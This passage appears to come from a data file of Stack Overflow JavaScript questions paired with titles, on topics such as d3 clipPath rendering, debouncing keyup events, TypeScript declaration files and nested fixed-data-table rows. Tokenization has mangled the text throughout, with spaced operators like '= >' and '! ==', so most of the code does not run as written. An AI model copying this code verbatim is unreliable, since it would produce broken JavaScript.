users.show '' ) ; } } } } ) ( ) ; var MODULE = { common : { init : function ( ) { console.log ( `` common.init '' ) ; } } , users : { init : function ( ) { console.log ( `` users.init '' ) ; } , show : function ( ) { console.log ( `` users.show '' ) ; } } } ;",What 's the difference between these two JavaScript patterns "JS : In an asp.net-mvc project using C # .I use a function to format larger numbers with commas such as 1,000,000 , thanks to this post : The issue is , I have the inputs locked down to accept only numbers with a min value of zero.This poses a problem using the JS , as it needs only number input . Which brings me to a question like this How to make HTML input tag only accept numerical values ? , which also offers a JS solution.I 'm wondering if anyone has developed an elegant way to format numeric input display , while validating numeric input , is there are any other options available here ? It does n't have to purely be a JS solution . function numberWithCommas ( str ) { return str.toString ( ) .replace ( /\B ( ? = ( \d { 3 } ) + ( ? ! \d ) ) /g , `` , '' ) ; } < input type= '' number '' min= '' 0 '' class= '' myclass '' value= '' @ somevalue '' / >",Validating numeric input while formatting numeric input "JS : When working with ionic , what is the difference between andWhich one should be used ? And why ? Thx ! ionic plugin install ... cordova plugin install",Difference between ionic and cordova plugin install JS : I have a postcode field that has a jQuery onKeyup event - the idea is that once they have fully entered their postcode to call an Google Maps Geocoding API to get the location immediately based on this postcode.This code works however i 'd like to find a solution that will ideally not call the API multiple times but wait and see if the user has finished typing using some method of waiting for x amount of time and then calling the API.Can anyone suggest the best way to do this ? $ ( `` # txtPostcode '' ) .keyup ( function ( ) { var postcode = $ ( ' # txtPostcode ' ) .val ( ) .length if ( postcode.length > = 5 & & postcode.length < = 8 ) { console.log ( 'length is a valid UK length for a postcode ' ) ; // some logic here to run with some way to work out if user has 'finished ' typing callGoogleGeocodingAPI ( postcode ) ; } } ) ;,Tweaking on keyup event to call API once it appears user has finished typing "JS : I 'm using d3 v4 to render SVG graphics . I 'm using a clipPath on a few < path > elements . I have panning behavior on a rect element and the clipPath is helping hide some of the path elements . When panning over in android . The clipPath works as necessary , but when panning in iOS the drawing is rendering funky . See below : BEFOREAFTERI 've implemented the SVG clip with the following code : He are excerpts from the zoom that is called on zoom.Has anyone had the same issue when using the clipPath ? this.line = d3.line ( ) .curve ( d3.curveMonotoneX ) .x ( ( d ) = > this.xScale ( this.getDate ( d ) ) ) .y ( ( d ) = > this.yScale ( d.kWh ) ) ; this.area = d3.area ( ) .curve ( d3.curveMonotoneX ) .x ( ( d ) = > { return this.xScale ( this.getDate ( d ) ) } ) .y0 ( this.height ) .y1 ( ( d ) = > this.yScale ( d.kWh ) ) ; // Definition for clipPaththis.svg.append ( `` defs '' ) .append ( `` clipPath '' ) .attr ( `` id '' , `` clip '' ) .append ( `` rect '' ) .attr ( `` width '' , this.width ) .attr ( 'transform ' , 'translate ( 0 , -20 ) ' ) .attr ( `` height '' , this.height + 20 ) ; // clipPath added to areavar areaPath = this.focus.append ( `` path '' ) .datum ( this.data ) .attr ( `` class '' , `` area '' ) .attr ( 'height ' , this.height ) .attr ( 'fill-opacity ' , .2 ) .attr ( 'clip-path ' , 'url ( # clip ) ' ) .attr ( `` d '' , this.area ) .attr ( `` transform '' , `` translate ( 0 , '' + 80 + `` ) '' ) .style ( `` fill '' , `` url ( # gradient ) '' ) ; // clipPath added to the linevar linePath = this.focus.append ( 'path ' ) .datum ( this.data ) .attr ( 'class ' , 'line ' ) .attr ( 'fill ' , 'none ' ) .attr ( 'clip-path ' , 'url ( # clip ) ' ) .attr ( 'stroke ' , ' # 31B5BB ' ) .attr ( 'stroke-width ' , '2px ' ) .attr ( `` transform '' , `` translate ( 0 , '' + 80 + `` ) '' ) .attr ( 'd ' , this.line ) ; private zoomed = ( ) = > { if ( this.isMinZooming ) return ; let diff , domain , minBuffer , maxBuffer , t ; t = d3.event.transform ; // loose mobile events if ( isNaN ( t.k ) ) return ; this.xScale.domain ( t.rescaleX ( this.x2Scale ) .domain ( ) ) ; diff = this.daydiff ( this.xScale.domain ( ) [ 0 ] , this.xScale.domain ( ) [ 1 ] ) ; // Redraw Axis this.xAxis = d3.axisBottom ( this.xScale ) .tickSize ( 0 ) .tickFormat ( d3.timeFormat ( ' % b ' ) ) ; this.focus.select ( `` .axis -- x '' ) .call ( this.xAxis ) ; // Redraw Paths . This is where the redraw function gets messy in the iOS webview . this.focus.select ( `` .area '' ) .attr ( `` d '' , this.area ) ; this.focus.select ( '.line ' ) .attr ( 'd ' , this.line ) ; ... }",IOS app webview SVG ClipPath Issue JS : I have a list of images where each image is wrapped in a li : How can I hide this entire li if image 1.jpg is broken as if it never existed in the DOM ? I found some good js on how to hide the image and learned from another SO post that I want to display : none so I do n't create an empty row . But I 'm having trouble putting these together . < li > < a href='http : //www.so.com ' > < img src='http : //www.so.com/1.jpg ' > < /a > < /li >,Hide li if broken image "JS : I 'm getting to grips with Backbone.js , but one thing I do n't understand is where to put all the one-off jQuery code I need to set up my page . You know the sort of thing : configuring a jQuery carousel plugin , adding a 'scroll to top ' arrow ... the one-off configuration that happens when the user first loads the page . At the moment I 'm doing it in my Router : Yeuch . How should I be doing it ? Should initializeJqueryStuff be another property of the Router object ? Should it all just live inside initialize ? Or should I actually keep this code completely separate from the Backbone app ? var AppRouter = Backbone.Router.extend ( { routes : { // some routes } , initialize : function ( ) { initializeJqueryStuff ( ) ; } ... } ) ; var StateApp = new AppRouter ( ) ; Backbone.history.start ( { pushState : true } ) ; function initializeJqueryStuff ( ) { // one-off jQuery stuff goes here }",Backbone.js : Where do I put my jQuery setup ? "JS : Looking at this code : I want to extract the main title property and the third age in the array ( via object destructuring ) I can do it via : QuestionBut what if the array has 100 items and I want the 99'th age ? How would then I do it ? Does object destructuring offer a solution for that ? let lecture = { id : 2 , title : `` MyTitle '' , topics : [ { title : `` John '' , age : 1 } , { title : `` John2 '' , age : 2 } , { title : `` John3 '' , age : 3 } ] } let { title : lectureTitle , topics : [ , , { age : thirdAge } ] } = lecture ; console.log ( lectureTitle , thirdAge ) ; //MyTitle 3",Object destructuring solution for long arrays ? "JS : I have a JavaScript object which dynamically allows members to be bound as accessor properties to instances of the object : SourceUsageWhen obj is created , the members of the constructor parameter are bound to obj as accessor properties . These show up in intellisenseI would like to know if it is possible to model this sort of behavior ( including having intellisense ) in TypeScript ? NotesWhen you run this code in TypeScript , there is no intellisense becuase everything is any , so TypeScript does n't really know what 's going on . function DynamicObject ( obj ) { for ( var prop in obj ) { Object.defineProperty ( this , prop , { get : function ( ) { return obj [ prop ] ; } , set : function ( value ) { obj [ prop ] = value ; } , enumerable : true , configurable : false } ) ; } } var obj = new DynamicObject ( { name : `` John Smith '' , email : `` john.smith @ test.net '' , id : 1 } ) ;",JavaScript to TypeScript : Intellisense and dynamic members "JS : I published two Javascript libraries on npm and users have asked for TypeScript type definitions for both of them . I do n't use TypeScript myself and I have no plans to rewrite those libraries in TypeScript , but I 'd still like to add the type definition files if only for better IntelliSense code completion . I 'm looking for some advice with this.I started with reading the docs of the DefinitelyTyped project and the documentation on publishing a declaration file for an npm package . Both sources state that `` publishing to the @ types organization on npm '' is the preferred approach for projects not written in TypeScript.Why is that preferred over publishing type definitions alongside the library itself via the types field in package.json ? I really do n't see the point in involving a third party in this . It seems like updating the type definitions and versioning them is just more complicated this way.Quotes from the documentation referenced above ( emphasis mine ) From DefinitelyTyped : If you are the library author and your package is written in TypeScript , bundle the autogenerated declaration files in your package instead of publishing to Definitely Typed.From typescriptlang.org : Now that you have authored a declaration file following the steps of this guide , it is time to publish it to npm . There are two main ways you can publish your declaration files to npm : bundling with your npm package , orpublishing to the @ types organization on npm.If your package is written in TypeScript then the first approach is favored . Use the -- declaration flag to generate declaration files . This way , your declarations and JavaScript will always be in sync.If your package is not written in TypeScript then the second is the preferred approach.Both seem to say : if ( isAuthor & & lang === `` typescript '' ) bundle ( ) ; else publishOnDefinitelyTyped ( ) ;",Why publish the TypeScript declaration file on DefinitelyTyped for a Javascript library ? "JS : I 'm trying to enjoy some of the awesome javascript code golf submissions on anarchy code golf , but I keep seeing things like : ... which was the JS winner for : http : //golf.shinh.org/p.rb ? ttpI do n't understand how that is correct javascript syntax , and I even tried resubmitting that , but it said object is not a function , which is something along the lines of what I would expect to happen . Was this some kind of glitch or shorthand or something in an older javascript version ? for ( ; s=readline ( ) ; ) print ( `` h '' +/t . */ ( s ) )",Javascript regex shorthand ? "JS : Here my React component demo : https : //codesandbox.io/s/epic-brown-osiq1 , I am now using the viewBox 's values , getBBox and getBoundingClientRect ( ) to realize some calculations in order to position my element . Currently I have entered raw value based on the return the console have provided me from the getBoundingClientRect ( ) 's logs . You can see it on the element I have implemented the getBoundingClientRect ( ) on , namely the < svg > 's root element and the clip-path 's text 's element . Better but the text is more place tower the center of the screen that really aligned on center of the text 's box-you can see the `` So '' 's word is at the start of the `` Food '' 's word instead of being aligned on the box 's center . So I am at this point currently . Thanks for the feedback . *note : You will see some comments providing information or parts of my former trials inside the sandbox.What my code does ? concretely I display a clip-path 's text with some animated panel travelling the clip-path - this is the color_panel_group 's element- giving some dynamic to the composition.There is also a shadow behind the text to give some depth to the composition.Expectation : display a clip-path 's text responsively positioned at the vertical and horizontal 's centers of the viewport . Problem : My clip-path hides a part of the text and my trials to center the element relative to viewport fails to be fructuous . What I have tried : I have tried to play with the width of the element and the x 's positions of the element -mainly text , clip-path , symbol and both case . Even tried to play with the use element by implementing some class in it , but at the end of the day very approximative result outcomed . Also In tspan and symbol I have tried to play with x 's attribute , again with very approximative outcomes . I have tried to play with position absolute and a relative container -mainly on the SVG 's CSS selector directly- , still with approximative outcomes.I am wondering what I am missing . Maybe someone can bring some explanation on my code 's behavior ? Here my second presentation 's resulting code ( approximately what React component produces ) : Thanks for any hint . body { background : orange ; } svg { background : green ; display : block ; margin : auto ; position : relative ; z-index : 2 ; top : 0 ; left : 0 ; width : 100vw ; height : 100vh ; } .component { min-width : 100vw ; min-height : 100vh ; font-size : 100 % ; } .fade_in_background { opacity : 1 ; visibility : visible ; transition : all 1.5s ease-out 0s ; } .brandtype { margin : auto ; text-align : center ; } .brandtype_use { position : absolute ; transform : translate ( -112.65px , 0 ) } .clipPath_text { text-align : center ; } .color_panel_group { padding : 25px ; } .shape_animation { transform-origin : 0 ; transform : scale ( 0 , 1 ) translate ( 0 , 0 ) ; animation : moving-panel 3s 1.5s 1 alternate forwards ; } .shadow { transform : translate ( 10px , 10px ) } .shape_animation_shadow { fill : black ; fill-opacity : .505 ; transition : all 1.3s ease-out 0.3s ; } .brandtype { font-size : 6.8em ; } @ keyframes moving-panel { to { transform : scale ( 1 , 1 ) translate ( 20px , 0 ) ; } } < div class= '' component '' > < svg xmlns= '' http : //www.w3.org/2000/svg '' width= '' 100 % '' height= '' 100 % '' viewBox= '' 0 0 965 657 '' > < defs > < symbol id= '' panel_animation '' y= '' 0 '' > < clipPath class= '' clipPath_text '' id= '' clipPath_text '' > < text class= '' brandtype '' word-spacing= '' -.45em '' > < tspan x= '' 0 % '' y= '' 50 % '' dy= '' 1.6em '' > So < /tspan > < tspan x= '' 0 % '' y= '' 50 % '' dy= '' 3em '' > Food < /tspan > < /text > < /clipPath > < g class= '' shadow '' clip-path= '' url ( # clipPath_text ) '' > < rect class= '' shape_animation shape_animation_shadow '' width= '' 100 % '' height= '' 100 % '' x= '' -25px '' > < /rect > < /g > < g class= '' color_panel_group '' clip-path= '' url ( # clipPath_text ) '' > < rect class= '' shape_animation '' fill= '' # F2385A '' width= '' 100 % '' height= '' 100 % '' > < /rect > < rect class= '' shape_animation '' fill= '' # F5A503 '' width= '' 80 % '' height= '' 100 % '' > < /rect > < rect class= '' shape_animation '' fill= '' # E9F1DF '' width= '' 60 % '' height= '' 100 % '' > < /rect > < rect class= '' shape_animation '' fill= '' # 56D9CD '' width= '' 40 % '' height= '' 100 % '' > < /rect > < rect id= '' shape_animation_ref '' class= '' shape_animation '' fill= '' # 3AA1BF '' width= '' 20 % '' height= '' 100 % '' x= '' -25px '' > < /rect > < /g > < /symbol > < /defs > < rect width= '' 100 % '' height= '' 100 % '' filter= '' url ( # background_light ) '' > < /rect > < use width= '' 500px '' height= '' 100 % '' x= '' 50 % '' xlink : href= '' # panel_animation '' class= '' brandtype_use '' > < /use > < /svg > < /div >",How can I center my clip-path 's text relatively to the viewport and display all the clip-path 's text ? "JS : I use expanded rows in fixed-data-table-2 component . I have 3 levels on inner tables : If I click collapse cells in inner table ( second nested level ) , rows do n't expand and last nested table is not rendered . It occurs after first click of parent row , but after second click the table is rendered.What is more strange , this behaviour does n't happen ifa ) I click first three rows of second table orb ) if I expand first row in main ( first ) tableIt happens with last rows of second table if other than first row of main table is expanded.You can see this behaviour in this and this recording.codesandboxCollapseCell.jsxTestMeet.jsxSecondInnerTable.jsxThirdInnerTable.jsx import React from 'react ' ; import { Cell } from 'fixed-data-table-2 ' ; const { StyleSheet , css } = require ( 'aphrodite ' ) ; export default class CollapseCell extends React.PureComponent { render ( ) { const { data , rowIndex , columnKey , collapsedRows , callback , ... props } = this.props ; return ( < Cell { ... props } className= { css ( styles.collapseCell ) } > < a onClick= { evt = > callback ( rowIndex ) } > { collapsedRows.has ( rowIndex ) ? '\u25BC ' : '\u25BA ' } < /a > < /Cell > ) ; } } const styles = StyleSheet.create ( { collapseCell : { cursor : 'pointer ' , } , } ) ; import React , { Component } from 'react ' ; import debounce from 'lodash/debounce ' ; import { Table , Column , Cell } from 'fixed-data-table-2 ' ; import isEmpty from 'lodash/isEmpty ' ; import 'fixed-data-table-2/dist/fixed-data-table.min.css ' ; import CollapseCell from './CollapseCell.jsx ' ; import SecondInnerTable from './SecondInnerTable ' ; const { StyleSheet , css } = require ( 'aphrodite ' ) ; export default class TestMeetView extends Component { static propTypes = { } ; state = { tableData : [ { start : ' 5/19 ' , end : ' 5/20 ' , host : 'DACA ' , } , { start : ' 6/15 ' , end : ' 6/15 ' , host : 'DACA ' , } , { start : ' 6/16 ' , end : ' 6/17 ' , host : 'DACA ' , } , { start : ' 7/15 ' , end : ' 7/16 ' , host : 'DACA ' , } , { start : ' 7/30 ' , end : ' 7/31 ' , host : 'DACA ' , } , ] , columnWidths : { start : 200 , end : 200 , host : 200 , action : 100 , } , tableContainerWidth : 0 , numOfExpRows : 0 , expChildRows : { } , collapsedRows : new Set ( ) , scrollToRow : null , } ; componentDidMount ( ) { this.updateWidth ( ) ; this.updateWidth = debounce ( this.updateWidth , 200 ) ; window.addEventListener ( 'resize ' , this.updateWidth ) ; } componentWillUnmount ( ) { window.removeEventListener ( 'resize ' , this.updateWidth ) ; } onTableColumnResizeEndCallback = ( newColumnWidth , columnKey ) = > { this.setState ( ( { columnWidths } ) = > ( { columnWidths : { ... columnWidths , [ columnKey ] : newColumnWidth , } , } ) ) ; } ; updateWidth = ( ) = > { if ( this.tableContainer.offsetWidth === this.state.tableContainerWidth ) { return ; } if ( this.tableContainer & & this.tableContainer.offsetWidth ! == this.state.tableContainerWidth ) { const newTableContainerWidth = this.tableContainer.offsetWidth ; this.setState ( { tableContainerWidth : newTableContainerWidth , columnWidths : { start : newTableContainerWidth / 3 , end : newTableContainerWidth / 3 , host : newTableContainerWidth / 3 , } , } ) ; } } ; handleCollapseClick = ( rowIndex ) = > { const { collapsedRows } = this.state ; const shallowCopyOfCollapsedRows = new Set ( [ ... collapsedRows ] ) ; let scrollToRow = rowIndex ; if ( shallowCopyOfCollapsedRows.has ( rowIndex ) ) { shallowCopyOfCollapsedRows.delete ( rowIndex ) ; scrollToRow = null ; } else { shallowCopyOfCollapsedRows.add ( rowIndex ) ; } let numOfExpRows = 0 ; if ( collapsedRows.size > 0 ) { numOfExpRows = collapsedRows.size ; } let resetExpChildRow = -1 ; if ( collapsedRows.has ( rowIndex ) ) { numOfExpRows -= 1 ; resetExpChildRow = rowIndex ; } else { numOfExpRows += 1 ; } if ( resetExpChildRow === -1 ) { this.setState ( { numOfExpRows , scrollToRow , collapsedRows : shallowCopyOfCollapsedRows , } ) ; } else { this.setState ( { numOfExpRows , scrollToRow , collapsedRows : shallowCopyOfCollapsedRows , expChildRows : { ... this.state.expChildRows , [ rowIndex ] : 0 , } , } ) ; } } ; subRowHeightGetter = ( index ) = > { const numExpChildRows = this.state.expChildRows [ index ] ? this.state.expChildRows [ index ] : 0 ; return this.state.collapsedRows.has ( index ) ? 242 * ( numExpChildRows + 1 ) + 50 : 0 ; } ; rowExpandedGetter = ( { rowIndex , width , height } ) = > { if ( ! this.state.collapsedRows.has ( rowIndex ) ) { return null ; } const style = { height , width : width - 10 , } ; return ( < div style= { style } > < div className= { css ( styles.expandStyles ) } > < SecondInnerTable changeNumOfExpandedRows= { this.setNumOfInnerExpandedRows } parentRowIndex= { rowIndex } / > < /div > < /div > ) ; } ; setNumOfInnerExpandedRows = ( numOfExpandedRows , rowIndex ) = > { this.setState ( { expChildRows : { ... this.state.expChildRows , [ rowIndex ] : numOfExpandedRows , } , } ) ; } ; render ( ) { let sumOfExpChildRows = 0 ; if ( ! isEmpty ( this.state.expChildRows ) ) { sumOfExpChildRows = Object.values ( this.state.expChildRows ) .reduce ( ( a , b ) = > a + b ) ; } return ( < div className= '' test-view '' > < div className= '' container-fluid '' > < div className= '' mb-5 '' ref= { el = > ( this.tableContainer = el ) } > < Table scrollToRow= { this.state.scrollToRow } rowsCount= { this.state.tableData.length } rowHeight= { 40 } headerHeight= { 40 } width= { this.state.tableContainerWidth } height= { ( this.state.numOfExpRows + sumOfExpChildRows + 1 ) * 242 } subRowHeightGetter= { this.subRowHeightGetter } rowExpanded= { this.rowExpandedGetter } touchScrollEnabled onColumnResizeEndCallback= { this.onTableColumnResizeEndCallback } isColumnResizing= { false } > < Column cell= { < CollapseCell callback= { this.handleCollapseClick } collapsedRows= { this.state.collapsedRows } / > } fixed width= { 30 } / > < Column columnKey= '' start '' header= { < Cell > Start < /Cell > } cell= { props = > < Cell { ... props } > { this.state.tableData [ props.rowIndex ] .start } < /Cell > } width= { this.state.columnWidths.start } isResizable / > < Column columnKey= '' end '' header= { < Cell > End < /Cell > } cell= { props = > < Cell { ... props } > { this.state.tableData [ props.rowIndex ] .end } < /Cell > } width= { this.state.columnWidths.end } isResizable / > < Column columnKey= '' host '' header= { < Cell > Host < /Cell > } cell= { props = > < Cell { ... props } > { this.state.tableData [ props.rowIndex ] .host } < /Cell > } width= { this.state.columnWidths.host } isResizable / > < /Table > < /div > < /div > < /div > ) ; } } const styles = StyleSheet.create ( { expandStyles : { height : '242px ' , margin : '10px ' , } , } ) ; import React , { Component } from 'react ' ; import { Table , Column , Cell } from 'fixed-data-table-2 ' ; import debounce from 'lodash/debounce ' ; import 'fixed-data-table-2/dist/fixed-data-table.min.css ' ; import CollapseCell from './CollapseCell ' ; import ThirdInnerTable from './ThirdInnerTable ' ; const { StyleSheet , css } = require ( 'aphrodite ' ) ; export default class SecondInnerTable extends Component { state = { tableData : [ { dateOfSession : ' 5/19/18 ' , timeline : '4h00m/4h30m ' , entries : '400/900 ' , } , { dateOfSession : ' 5/19/18 ' , timeline : '4h00m/4h30m ' , entries : '400/900 ' , } , { dateOfSession : ' 5/19/18 ' , timeline : '4h00m/4h30m ' , entries : '400/900 ' , } , { dateOfSession : ' 5/19/18 ' , timeline : '4h00m/4h30m ' , entries : '400/900 ' , } , { dateOfSession : ' 5/19/18 ' , timeline : '4h00m/4h30m ' , entries : '400/900 ' , } , ] , tableColumns : { dateOfSession : { label : 'Date of Session ' , width : 150 } , timeline : { label : 'Timeline ' , width : 150 } , entries : { label : 'Entries ' , width : 150 } , } , tableContainerWidth : 0 , tableContainerHeight : 252 , collapsedRows : new Set ( ) , scrollToRow : null , } ; componentDidMount ( ) { this.updateWidth ( ) ; this.updateWidth = debounce ( this.updateWidth , 200 ) ; window.addEventListener ( 'resize ' , this.updateWidth ) ; } componentWillUnmount ( ) { window.removeEventListener ( 'resize ' , this.updateWidth ) ; } onSessionsTableColumnResizeEndCallback = ( newColumnWidth , columnKey ) = > { this.setState ( ( { tableColumns } ) = > ( { tableColumns : { ... tableColumns , [ columnKey ] : { label : tableColumns [ columnKey ] .label , width : newColumnWidth } , } , } ) ) ; } ; updateWidth = ( ) = > { if ( this.tableContainer.offsetWidth === this.state.tableContainerWidth ) { return ; } if ( this.tableContainer & & this.tableContainer.offsetWidth ! == this.state.tableContainerWidth ) { const newTableContainerWidth = this.tableContainer.offsetWidth - 20 ; const newColumnsWidth = newTableContainerWidth / 3 ; this.setState ( ( { tableColumns } ) = > ( { tableContainerWidth : newTableContainerWidth , tableColumns : { dateOfSession : { label : tableColumns.dateOfSession.label , width : newColumnsWidth } , timeline : { label : tableColumns.timeline.label , width : newColumnsWidth } , entries : { label : tableColumns.entries.label , width : newColumnsWidth } , } , } ) ) ; } } ; handleCollapseClick = ( rowIndex ) = > { const { collapsedRows } = this.state ; const shallowCopyOfCollapsedRows = new Set ( [ ... collapsedRows ] ) ; let scrollToRow = rowIndex ; if ( shallowCopyOfCollapsedRows.has ( rowIndex ) ) { shallowCopyOfCollapsedRows.delete ( rowIndex ) ; scrollToRow = null ; } else { shallowCopyOfCollapsedRows.add ( rowIndex ) ; } let numOfExpRows = 0 ; if ( collapsedRows.size > 0 ) { numOfExpRows = collapsedRows.size ; } if ( collapsedRows.has ( rowIndex ) ) { numOfExpRows -= 1 ; } else { numOfExpRows += 1 ; } this.setState ( { tableContainerHeight : 252 * ( numOfExpRows + 1 ) , scrollToRow , collapsedRows : shallowCopyOfCollapsedRows , } , ( ) = > { this.props.changeNumOfExpandedRows ( numOfExpRows , this.props.parentRowIndex ) ; } , ) ; } ; subRowHeightGetter = index = > ( this.state.collapsedRows.has ( index ) ? 272 : 0 ) ; rowExpandedGetter = ( { rowIndex , width , height } ) = > { if ( ! this.state.collapsedRows.has ( rowIndex ) ) { return null ; } const style = { height , width : width - 10 , } ; return ( < div style= { style } > < div className= { css ( styles.expandStyles ) } > < ThirdInnerTable parentRowIndex= { rowIndex } / > < /div > < /div > ) ; } ; render ( ) { return ( < div className= '' mb-2 '' ref= { el = > ( this.tableContainer = el ) } > < Table scrollToRow= { this.state.scrollToRow } rowsCount= { this.state.tableData.length } rowHeight= { 40 } headerHeight= { 50 } width= { this.state.tableContainerWidth } height= { this.state.tableContainerHeight } subRowHeightGetter= { this.subRowHeightGetter } rowExpanded= { this.rowExpandedGetter } touchScrollEnabled onColumnResizeEndCallback= { this.onSessionsTableColumnResizeEndCallback } isColumnResizing= { false } > < Column cell= { < CollapseCell callback= { this.handleCollapseClick } collapsedRows= { this.state.collapsedRows } / > } fixed width= { 30 } / > { Object.keys ( this.state.tableColumns ) .map ( key = > ( < Column key= { key } columnKey= { key } header= { < Cell > { this.state.tableColumns [ key ] .label } < /Cell > } cell= { props = > < Cell { ... props } > { this.state.tableData [ props.rowIndex ] [ key ] } < /Cell > } width= { this.state.tableColumns [ key ] .width } isResizable / > ) ) } < /Table > < /div > ) ; } } const styles = StyleSheet.create ( { expandStyles : { height : '252px ' , margin : '10px ' , } , } ) ; import React , { Component } from 'react ' ; import debounce from 'lodash/debounce ' ; import { Table , Column , Cell } from 'fixed-data-table-2 ' ; import 'fixed-data-table-2/dist/fixed-data-table.min.css ' ; export default class ThirdInnerTable extends Component { state = { tableData : [ { eventNumber : ' 1 ' , qualifyingTime : ' N/A ' , selected : ' N/A ' , } , { eventNumber : ' 1 ' , qualifyingTime : ' N/A ' , selected : ' N/A ' , } , { eventNumber : ' 1 ' , qualifyingTime : ' N/A ' , selected : ' N/A ' , } , { eventNumber : ' 1 ' , qualifyingTime : ' N/A ' , selected : ' N/A ' , } , { eventNumber : ' 1 ' , qualifyingTime : ' N/A ' , selected : ' N/A ' , } , ] , tableColumns : { eventNumber : { label : 'Event number ' , width : 150 } , qualifyingTime : { label : 'Qualifying time ' , width : 150 } , selected : { label : 'Selected ? ' , width : 150 } , } , tableContainerWidth : 0 , numOfColumns : 3 , } ; componentDidMount ( ) { this.updateWidth ( ) ; this.updateWidth = debounce ( this.updateWidth , 200 ) ; window.addEventListener ( 'resize ' , this.updateWidth ) ; } componentWillUnmount ( ) { window.removeEventListener ( 'resize ' , this.updateWidth ) ; } onEventsTableColumnResizeEndCallback = ( newColumnWidth , columnKey ) = > { this.setState ( ( { tableColumns } ) = > ( { tableColumns : { ... tableColumns , [ columnKey ] : { label : tableColumns [ columnKey ] .label , width : newColumnWidth } , } , } ) ) ; } ; updateWidth = ( ) = > { if ( this.tableContainer.offsetWidth === this.state.tableContainerWidth ) { return ; } if ( this.tableContainer & & this.tableContainer.offsetWidth ! == this.state.tableContainerWidth ) { const newTableContainerWidth = this.tableContainer.offsetWidth ; const columnWidth = newTableContainerWidth / 3 ; this.setState ( ( { tableColumns } ) = > ( { tableContainerWidth : newTableContainerWidth , tableColumns : { eventNumber : { label : tableColumns.eventNumber.label , width : columnWidth } , qualifyingTime : { label : tableColumns.qualifyingTime.label , width : columnWidth } , selected : { label : tableColumns.selected.label , width : columnWidth } , } , } ) ) ; } } ; render ( ) { return ( < div className= '' mb-5 '' ref= { el = > ( this.tableContainer = el ) } > < Table rowsCount= { this.state.tableData.length } rowHeight= { 40 } headerHeight= { 50 } width= { this.state.tableContainerWidth } height= { 252 } touchScrollEnabled onColumnResizeEndCallback= { this.onEventsTableColumnResizeEndCallback } isColumnResizing= { false } > { Object.keys ( this.state.tableColumns ) .slice ( 0 , this.state.numOfColumns ) .map ( key = > ( < Column key= { key } columnKey= { key } header= { < Cell > { this.state.tableColumns [ key ] .label } < /Cell > } cell= { props = > < Cell { ... props } > { this.state.tableData [ props.rowIndex ] [ key ] } < /Cell > } width= { this.state.tableColumns [ key ] .width } isResizable / > ) ) } < /Table > < /div > ) ; } }",Last rows in inner table do n't expand in Fixed Data Table "JS : I 'm interested in determining if my node script is being called with data being streamed into it or not . That is , I want to differentiate between these two casesI found this way of determining that : Is it reliable ? Is it semantically appropriate ? $ node index.js $ ls | node index.js if ( process.stdin.isTTY ) { console.log ( 'called without pipe ' ) ; } else { console.log ( 'called with data streamed in ' ) ; }",Detect if node receives stdin "JS : This one just stabbed me hard . I do n't know if it 's the case with all browsers ( I do n't have any other competent browser to test with ) , but at least Firefox has two kind of string objects.Open up the Firebugs console and try the following : As you can visually observe , Firefox treats new String ( `` a '' ) and `` a '' differently . Otherwise however , both kinds of strings seem to behave the same . There is , for instance , evidence that both use the same prototype object : So apparently , both are the same . That is , until you ask for the type.We can also notice that when this is a string , it 's always the object form : Going a bit further , we can see that the non-object string representation does n't support any additional properties , but the object string does : Also , fun fact ! You can turn a string object into a non-object string by using the toString ( ) function : Never thought it could be useful to call String.toString ( ) ! Anyways.So all these experiments beg the question : why are there two kinds of strings in JavaScript ? Comments show this is also the case for every primitive JavaScript type ( numbers and bools included ) . > > > `` a '' '' a '' > > > new String ( `` a '' ) String { 0= '' a '' } > > > String.prototype.log = function ( ) { console.log ( `` Logged string : `` + this ) ; } function ( ) > > > `` hello world '' .log ( ) Logged string : hello world > > > new String ( `` hello world '' ) .log ( ) Logged string : hello world > > > typeof ( `` a '' ) '' string '' > > > typeof ( new String ( `` a '' ) ) '' object '' > > > var identity = function ( ) { return this } > > > identity.call ( `` a '' ) String { 0= '' a '' } > > > identity.call ( new String ( `` a '' ) ) String { 0= '' a '' } > > > var a = `` a '' > > > var b = new String ( `` b '' ) > > > a.bar = 44 > > > b.bar = 44 > > > a.barundefined > > > b.bar4 > > > new String ( `` foo '' ) .toString ( ) '' foo ''",Why are there two kinds of JavaScript strings ? JS : So I 've run into a strange issue ... I want to grab the id of a form say : But running document.getElementById ( `` test '' ) .id does n't return test as expected but instead returns the input with the name= '' id '' . Anyone know what is going on here ? Here 's a fiddle reproducing the issue - > http : //jsfiddle.net/jascbbfu/ < form id= '' test '' > < input name= '' id '' type= '' hidden '' value/ > < /form >,Grab id of a form that has a child input with a name= '' id '' "JS : I am trying to implement a module for custom errors . It should be possible to instantiate an individual error within the require-statement of the app using this module : This is the module : The require-one-liner above is working so far.Now , in my service , I want to catch this error explicitly : If I reject the promise of fooService.bar in my test by throwing a MyCustomError this is working great.BUT , this only works because my test and the service are using the same instance of MyCustomError.For instance , if I remove the the caching-mechanism in my custom-error-module , the catch wo n't get reached/executed anymore , because bluebird does not understand that the two Errors are of the same type : The specific code of bluebird 's handling is located in the catch_filter.js , you can have a look right here.Though the approach does work within my app , this will sooner lead to problems once multiple modules are using the custom-error-module and the sharing of the same instances is not given any longer.How can I get this concept up and running by not comparing the instances , but the error type itself ? Cheers , Christopher var MyCustomError = require ( 'custom-error ' ) ( 'MyCustomError ' ) ; 'use strict ' ; var _CACHE = { } ; function initError ( name ) { function CustomError ( message ) { this.name = name ; this.message = message ; } CustomError.prototype = Object.create ( Error.prototype ) ; CustomError.prototype.constructor = CustomError ; _CACHE [ name ] = CustomError ; } function createCustomError ( name ) { if ( ! _CACHE [ name ] ) { initError ( name ) ; } return _CACHE [ name ] ; } module.exports = createCustomError ; var MyCustomError = require ( 'custom-error ' ) ( 'MyCustomError ' ) // ... return fooService.bar ( ) .catch ( MyCustomError , function ( error ) { logger.warn ( error ) ; throw error ; } ) function createCustomError ( name ) { //if ( ! _CACHE [ name ] ) { initError ( name ) ; // } return _CACHE [ name ] ; }",Custom errors and bluebird 's catch with ErrorClass leads to inadvertent behaviour "JS : Or , perhaps , better , what does it mean ? What the units are supposed be ? If I 'm trying to simulate friction against the `` background '' , like this : I expect to use g as 9.80665 m/s^2 . It was working this way before PhysicsJS : Was using glMatrix for my linear algebra.I was considering mass in kilograms and forces in newtons ( etc ) but in PhysicsJS it does n't seem to work like that . ( For example : if I have a circle body with radius 1 , it 's 1 what ? Cause it 'll make difference when I have to use this value for something else , and when `` converting '' it to pixels on the screen ) Now that I 'm using a physics library I feel like I 'm missing some of the physics ... I Hope someone can point me in the right direction to understand it better . I 'm going through the API Docs right now and learning a lot but not I 'm finding the answers I 'm wishing for.UPDATEI 